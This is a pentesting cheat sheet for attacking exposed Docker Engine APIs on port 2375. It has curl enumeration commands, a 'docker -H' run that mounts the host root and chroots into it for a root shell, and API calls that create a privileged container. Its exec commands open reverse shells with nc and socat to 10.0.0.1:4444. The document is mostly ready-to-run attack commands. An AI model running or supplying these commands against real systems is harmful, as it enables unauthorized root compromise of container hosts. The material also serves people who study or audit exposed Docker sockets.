# Docker Engine API Pentesting

### Enumeration

```bash
curl <ip>:2375/containers/json
# The specific container
curl <ip>:2375/containers/<id or name>/json
# Logs
curl <ip>:2375/containers/<id or name>/logs?stderr=1&stdout=1
# Inpsect changes
curl <ip>:2375/containers/<id or name>/changes
```

\\

### Privilege Escalation from Docker Image

We may be able to get a root shell from remote Docker images.

#### 1. Check if Docker is Running in Local Machine

In local machine, check if docker is running.

```bash
sudo systemctl status docker
```

If the docker is not running, start it.

```bash
sudo systemctl stop docker
sudo systemctl start docker
```

#### 2. List Remote Docker Images

We need to find what images exist in target Docker API.

```bash
docker -H <target-ip>:2375 images
```

#### 3. Get a Shell

After getting an image, we can use it to create a new container and run with executing `sh`.

```bash
docker -H <target-ip>:2375 run -v /:/mnt --rm -it <running-image-name> chroot /mnt sh
```

Now we should get a root shell.

\\

### Remote Code Execution (RCE)

Reference: <https://dejandayoff.com/the-danger-of-exposing-docker.sock/>

We might be able to execute remote code by create a new container image using the existing one.

#### 1. Check the Image Name

First we need to find the existing container image and the name of it.

```bash
curl <ip>:2375/containers/json
curl <ip>:2375/containers/<id or name>/json
```

#### 2. Create/Start a New Container

If we found the container image name, prepare a new container configuration named “image.json”.

```bash
{
  "Image": "sweettoothinc:latest",
  "Cmd": ["/bin/bash"],
  "Binds": ["/:/mnt:rw"]
}
```

Then create a new container using Docker Engine API.

```bash
curl -X POST -H "Content-Type: application/json" -d @image.json <ip>:2375/containers/create
```

We get the new container ID, so copy it.

After that, start the new container.

```bash
curl -X POST <ip>:2375/containers/<new_container_id>/start
```

#### 3. Create a New Exec Instance

Next create a exec instance to reverse shell.

* **Ncat**

  ```bash
  curl -X POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["nc", "10.0.0.1", "4444", "-e", "/bin/bash"], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true}' <ip>:2375/containers/<new_container_id>/exec
  ```
* **Socat**

  ```bash
  curl -X POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["socat", "TCP:10.0.0.1:4444", "EXEC:sh"], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true}' <ip>:2375/containers/<new_container_id>/exec
  ```

We get a exec ID, so copy it.

#### 4. Start an Exec Instance & Reverse Shell

Start a listener in local machine.

```bash
nc -lvnp 4444
```

Now start an exec instance and get a shell.

```bash
curl -X POST -H "Content-Type: application/json" --data-binary '{"Detach": false, "Tty": false}' <ip>:2375/exec/<exec_id>/start
```

We should get a shell.
